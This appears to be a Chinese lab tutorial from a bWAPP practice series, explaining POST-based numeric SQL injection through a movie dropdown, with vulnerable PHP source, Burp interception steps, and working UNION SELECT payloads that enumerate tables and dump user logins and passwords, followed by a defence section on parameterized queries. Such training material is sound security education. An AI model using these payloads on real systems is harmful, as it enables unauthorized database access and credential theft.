零基础玩转bWAPP靶场(十六):SQL 注入(POST/选择型)
摘要本文是 bWAPP 靶场系列的第十六篇聚焦于 SQL Injection (POST/Select)POST 型下拉选择框 SQL 注入。页面看起来和第十四篇GET/Select一模一样区别只是请求方式从 GET 变成了 POST。我们将通过源码分析和实战演示搞清楚数字型注入在 POST 下的玩法以及为什么 Medium 级别的防护依然形同虚设。一、前言功能很简单选一部电影点 Go显示电影详情。和第十四篇GET/Select功能一模一样唯一的区别是请求从 GET 变成了 POST。所以这篇不长重点是讲清楚POST 请求下怎么做注入以及Medium 级别为什么又防不住。二、先看一眼源码还是老规矩先看核心代码。// sqli_13.phpLow 和 Medium 级别用的文件 if(isset($_POST[movie])) { $id $_POST[movie]; $sql SELECT * FROM movies; if($id) { $sql. WHERE id . sqli($id); } $recordset mysql_query($sql, $link); // ... 显示结果 ... $row mysql_fetch_array($recordset); // 显示这一行的数据... }sqli()函数的处理逻辑function sqli($data) { switch($_COOKIE[security_level]) { case 0 : // Low $data no_check($data); // 不处理直接返回 break; case 1 : // Medium $data sqli_check_2($data); // mysql_real_escape_string() break; default : $data no_check($data); break; } return $data; }High 级别会自动跳转到sqli_13-ps.php那个文件用了参数化查询后面再说。关键点这里id是数字SQL 语句里没有引号包裹它。这就是数字型注入的特征。但选择型只显示一行——你选了哪部电影就显示哪一部。源码逻辑和第十四篇几乎一样区别只是$_GET[movie]换成了$_POST[movie]。三、Low 安全级别3.1 怎么在 POST 请求里改参数GET 型注入你直接在地址栏改 URL 就行但 POST 型不行你得拦截请求。用 Burp Suite 的话打开 BurpProxy → Intercept 设为On在页面上选一部电影点 GoBurp 会拦截到这个 POST 请求在请求体里找到movie1改成你想要的 payload点 Forward 放行不想用 Burp 的话浏览器 F12 → Network 标签找到请求右键 → Edit and Resend也能改。3.2 动手试试先正常用一下选一部电影点 Go页面显示电影详情。URL 不会变因为参数在请求体里但页面内容变了。然后开 Burp 拦截选电影点 Go拦截请求后把movie1改成movie-1 OR 11由于只显示一行数据所以我们用id-1这个不存在的值去测试然后进行恒假测试movie-1 AND 12通过测试确认数字型 SQL 注入漏洞存在。3.3 获取数据UNION 注入先确定列数。Burp 里改movie参数movie-1 UNION SELECT 1,2,3,4,5,6,7返回正常说明是 7 列。然后获取数据库名movie-1 UNION SELECT 1,database(),3,4,5,6,7页面显示数据库名。获取表名movie-1 UNION SELECT 1,GROUP_CONCAT(table_name),3,4,5,6,7 FROM information_schema.tables WHERE table_schemadatabase()获取用户表字段movie-1 UNION SELECT 1,GROUP_CONCAT(column_name),3,4,5,6,7 FROM information_schema.columns WHERE table_schemadatabase() and table_nameusers获取用户数据movie-1 UNION SELECT 1,group_concat(login),group_concat(password),4,5,6,7 FROM users和第十四篇的操作基本一模一样唯一的区别是参数在 POST 请求体里需要用 Burp 改。四、Medium 安全级别4.1 试一下切到 Medium开 Burp 拦截发送movie-1 OR 11 → 显示影片恒真 payload movie-1 AND 12 → 页面空白无影片恒假 payload结果确认数字型 SQL 注入漏洞存在。接下来步骤基本和low级一样1、获取列数和显示位 movie-1 UNION SELECT 1,2,3,4,5,6,7actiongo 2、获取数据库名 movie-1 UNION SELECT 1,database(),3,4,5,6,7actiongo 3、获取表名 movie-1 UNION SELECT 1,GROUP_CONCAT(table_name),3,4,5,6,7 FROM information_schema.tables WHERE table_schemadatabase()actiongo 4、获取字段名 movie-1 UNION SELECT 1,GROUP_CONCAT(column_name),3,4,5,6,7 FROM information_schema.columns WHERE%20table_schemadatabase() and table_name0x7573657273actiongo 5、获取用户数据 movie-1 UNION SELECT 1,GROUP_CONCAT(CONCAT(login,0x3a,password)),3,4,5,6,7 FROM usersactiongo4.2 为什么 Medium 还是防不住Medium 调用的是sqli_check_2()也就是mysql_real_escape_string()。这个函数只转义特殊字符引号、反斜杠等对纯数字字符串完全不处理。你传 -1 OR 11里面没有引号、没有反斜杠mysql_real_escape_string()看了看说“这串东西没啥需要转义的”然后原样返回。于是 SQL 还是变成了WHERE id -1 OR 11注入成功。一句话总结mysql_real_escape_string()只防字符串型注入对数字型注入无效。因为数字型注入根本不需要引号。4.3 那要怎么防要么用类型强转$id intval($_POST[movie]);要么用参数化查询High 级别用的方案。五、High 安全级别切到 High你会发现页面其实跳到了sqli_13-ps.php。看这个文件的代码$sql SELECT title, release_year, genre, main_character, imdb FROM movies WHERE id ?; if($stmt $link-prepare($sql)) { $stmt-bind_param(s, $id); $stmt-execute(); // ... }用了?占位符然后用bind_param()绑定参数。这就是参数化查询。不管你在 POST 里传什么$id只会被当成数据去匹配id字段永远不会被当作 SQL 代码执行。所以不管你传1 OR 11还是1 UNION SELECT都只会去匹配一个叫做1 OR 11的电影 ID当然不存在然后返回“No movies were found!”。六、三种级别对比级别用的函数能防住吗原因Lowno_check()不能直接拼接完全没过滤Mediummysql_real_escape_string()不能只转义引号数字型注入不需要引号High参数化查询能SQL 和数据分离从根本上杜绝七、总结GET与POST请求方式并不会决定SQL注入漏洞是否存在漏洞风险由后端代码的输入处理逻辑决定GET注入与POST注入的底层原理完全一致二者仅参数修改手段存在区别GET注入可直接修改浏览器URL参数POST注入需要借助抓包工具修改请求数据包。数字型SQL注入无需依靠单引号完成闭合隐蔽性更强不少开发人员误以为mysql_real_escape_string()能够抵御注入攻击但该函数仅针对引号、反斜杠等特殊字符转义面对不存在引号载荷的数字型注入无法起到防护效果。各类转义函数均存在防护局限性防御SQL注入最根本、可靠的方案是采用参数化预编译查询该技术将SQL语句结构与用户输入数据相互隔离从底层消除SQL拼接带来的注入风险因此不必依赖各类字符转义函数优先使用参数化查询是抵御SQL注入最优选择。重要声明本教程及文中所有操作仅限于合法授权的安全学习与研究。作者及发布平台不承担因不当使用本教程所引发的任何直接或间接法律责任。请务必遵守中华人民共和国网络安全相关法律法规。如果这篇文章帮你解决了实操上的困惑别忘记点击点赞、分享也可以留言告诉我你遇到的其它问题我会尽快回复。你的关注是我坚持原创和细节共享的力量来源谢谢大家。

相关新闻

AI开发C语言应用按步走,表达式计算器calc的第十一步,Token 联合体、哈希表满报错、批处理变量赋值

AI开发C语言应用按步走,表达式计算器calc的第十一步,Token 联合体、哈希表满报错、批处理变量赋值

calc11 — Token 联合体、哈希表满报错、批处理变量赋值 1. 概述 本次迭代基于 suggestions.md 中的建议,完成了三项代码改进: Token 联合体 — 将 value 和 name 字段合并为联合体,减少内存占用哈希表满报错 — 变量符号表满时输出错误提示&…

2026/8/8 1:46:01 阅读更多 →
基于YOLOv11的焊接缺陷检测系统设计与优化

基于YOLOv11的焊接缺陷检测系统设计与优化

1. 项目背景与核心价值 焊接缺陷检测一直是工业质检领域的痛点问题。传统人工目检效率低下且容易漏检,而基于机器视觉的自动化方案往往面临复杂场景适应性差的问题。这个毕业设计项目选择基于YOLOv11构建焊接缺陷检测系统,正是瞄准了这一行业刚需。 我去…

2026/7/30 7:50:07 阅读更多 →
AI技术如何高效重构遗留代码系统

AI技术如何高效重构遗留代码系统

1. 项目概述:当AI遇上遗留代码十年前写的Java代码还在线上跑着,每次新人接手都要花两周才能勉强理解业务逻辑;五年前那个离职同事写的Python脚本至今没人敢动,生怕一改就引发连锁反应——这就是遗留代码的典型困境。作为经历过数十…

2026/8/11 8:22:10 阅读更多 →

最新新闻

跳出单一改写误区:一文读懂双重优化,AIGCBiye 如何同步实现论文降重与降 AIGC

跳出单一改写误区:一文读懂双重优化,AIGCBiye 如何同步实现论文降重与降 AIGC

随着各大高校陆续将 AIGC 内容检测纳入论文审核标准,越来越多毕业生陷入双重难题:修改后的文稿重复率达标,却在 AI 检测中标记高风险;单纯消除 AI 行文特征,又造成文本相似度反弹。很多创作者至今没有分清,…

2026/8/16 8:08:38 阅读更多 →
【AI开源】ponytail 中文版:让 AI 代理少写无效代码

【AI开源】ponytail 中文版:让 AI 代理少写无效代码

Ponytail 中文版发布:一个让 AI 代理像最懒资深开发那样思考的开源项目。核心不是写更少代码,而是用原生 HTML 元素替代过度封装——真实基准测试中,日期选择器从 404 行降至 23 行,整体代码量平均减少 54%,成本降 20%…

2026/8/16 8:08:38 阅读更多 →
亲测突破夸克网盘下载限制,提高百倍下载速度的方法

亲测突破夸克网盘下载限制,提高百倍下载速度的方法

当我们想要下载夸克网盘里面的一些文件时,当你不想开会员又想下载速度很快的时候,应该怎么办呢?不妨来看看我这方法---》: 下载速度看你的网速和宽带跑个10几M/秒不是问题,亲测有效,接下来就是教程部分 打开…

2026/8/16 8:08:38 阅读更多 →
从零构建高质量文本转语音系统:原理、选型与实战优化指南

从零构建高质量文本转语音系统:原理、选型与实战优化指南

1. 从“看”到“听”:为什么我们需要让文字“发声”?我们生活在一个信息爆炸的时代,每天被海量的文字信息包围——新闻、报告、邮件、电子书、社交媒体动态……眼睛的负担越来越重。你有没有过这样的体验:通勤路上想“读”点东西&…

2026/8/16 8:08:38 阅读更多 →
课程思政元素收集遴选系统-ssm

课程思政元素收集遴选系统-ssm

本项目为前几天收费帮学妹做的一个项目,在工作环境中基本使用不到,但是很多学校把这个当作编程入门的项目来做,故分享出本项目供初学者参考。 一、项目描述 基于ssm课程思政元素收集遴选系统通过Mysql数据库连接数据库 http://localhost:808…

2026/8/16 8:08:38 阅读更多 →
运维常见面试题_05_NFS 与共享存储

运维常见面试题_05_NFS 与共享存储

Q102. NFS v3 和 NFS v4 的主要区别是什么? 1. 是什么:NFS(Network File System)是网络文件共享协议。v3(RFC 1813)是经典的 RPC 版 NFS;v4(RFC 7530,含 v4.1/4.2&#x…

2026/8/16 8:07:38 阅读更多 →

日新闻

基于阿里云与通义千问(Qwen)构建AI应用:从模型调用到生产部署的完整实践指南

基于阿里云与通义千问(Qwen)构建AI应用:从模型调用到生产部署的完整实践指南

如果你是一名开发者,最近可能已经感受到了AI大模型正在从“玩具”变成“生产力工具”的强烈信号。从代码补全到智能Agent,从本地部署到云端API,我们正处在一个技术栈快速重构的节点。然而,面对层出不穷的模型、框架和工具&#xf…

2026/8/16 0:00:54 阅读更多 →
工业通信系统底层逻辑:04 反射——高频能量撞墙之后会发生什么?

工业通信系统底层逻辑:04 反射——高频能量撞墙之后会发生什么?

第四篇:反射——高频能量撞墙之后会发生什么? —— 你以为信号已经过去了,其实它正在回来打你 老Q的现场笔记 第五季,我们正式进入工业神经系统层。这里不再是单个设备的战斗,而是整个工厂“经脉”层面的秩序之战。从这一篇开始,你将第一次看清:看似简单的信号传播,背…

2026/8/16 0:00:55 阅读更多 →
【文章复现】非线性值迭代自适应动态规划(ADP):离散时间非线性系统的策略迭代自适应动态规划算法研究附Matlab代码

【文章复现】非线性值迭代自适应动态规划(ADP):离散时间非线性系统的策略迭代自适应动态规划算法研究附Matlab代码

✅作者简介:热爱科研的Matlab仿真开发者,擅长毕业设计辅导、数学建模、数据处理、建模仿真、程序设计、完整代码获取、论文复现及科研仿真。🍎 往期回顾关注个人主页:Matlab科研工作室👇 关注我领取海量matlab电子书和…

2026/8/16 0:03:55 阅读更多 →

周新闻

基于阿里云与通义千问(Qwen)构建AI应用:从模型调用到生产部署的完整实践指南

基于阿里云与通义千问(Qwen)构建AI应用:从模型调用到生产部署的完整实践指南

如果你是一名开发者,最近可能已经感受到了AI大模型正在从“玩具”变成“生产力工具”的强烈信号。从代码补全到智能Agent,从本地部署到云端API,我们正处在一个技术栈快速重构的节点。然而,面对层出不穷的模型、框架和工具&#xf…

2026/8/16 0:00:54 阅读更多 →
工业通信系统底层逻辑:04 反射——高频能量撞墙之后会发生什么?

工业通信系统底层逻辑:04 反射——高频能量撞墙之后会发生什么?

第四篇:反射——高频能量撞墙之后会发生什么? —— 你以为信号已经过去了,其实它正在回来打你 老Q的现场笔记 第五季,我们正式进入工业神经系统层。这里不再是单个设备的战斗,而是整个工厂“经脉”层面的秩序之战。从这一篇开始,你将第一次看清:看似简单的信号传播,背…

2026/8/16 0:00:55 阅读更多 →
【文章复现】非线性值迭代自适应动态规划(ADP):离散时间非线性系统的策略迭代自适应动态规划算法研究附Matlab代码

【文章复现】非线性值迭代自适应动态规划(ADP):离散时间非线性系统的策略迭代自适应动态规划算法研究附Matlab代码

✅作者简介:热爱科研的Matlab仿真开发者,擅长毕业设计辅导、数学建模、数据处理、建模仿真、程序设计、完整代码获取、论文复现及科研仿真。🍎 往期回顾关注个人主页:Matlab科研工作室👇 关注我领取海量matlab电子书和…

2026/8/16 0:03:55 阅读更多 →

月新闻

免费解锁百度网盘SVIP加速:macOS用户必备的下载提速终极指南

免费解锁百度网盘SVIP加速:macOS用户必备的下载提速终极指南

免费解锁百度网盘SVIP加速:macOS用户必备的下载提速终极指南 【免费下载链接】BaiduNetdiskPlugin-macOS For macOS.百度网盘 破解SVIP、下载速度限制~ 项目地址: https://gitcode.com/gh_mirrors/ba/BaiduNetdiskPlugin-macOS 还在为百度网盘macOS版的龟速下…

2026/8/16 6:00:23 阅读更多 →
终极ncmdump指南:3分钟实现网易云NCM音乐解密与格式转换

终极ncmdump指南:3分钟实现网易云NCM音乐解密与格式转换

终极ncmdump指南:3分钟实现网易云NCM音乐解密与格式转换 【免费下载链接】ncmdump 项目地址: https://gitcode.com/gh_mirrors/ncmd/ncmdump 还在为网易云音乐下载的NCM格式文件无法在其他播放器播放而烦恼吗?ncmdump解密工具帮你轻松解决这个困…

2026/8/16 6:00:24 阅读更多 →
HarmonyOS 应用开发《掌上英语》第81篇: 智能体卡片:为英语学习 App 打造桌面级学习助手

HarmonyOS 应用开发《掌上英语》第81篇: 智能体卡片:为英语学习 App 打造桌面级学习助手

AgentCard 智能体卡片:为英语学习 App 打造桌面级学习助手适用平台:HarmonyOS 7.0 (API 26 Beta)一、引言 HarmonyOS 7.0(API 26 Beta)新增了 AgentCard 智能体卡片能力,这是继 HMAF(鸿蒙智能体框架&#x…

2026/8/16 6:00:27 阅读更多 →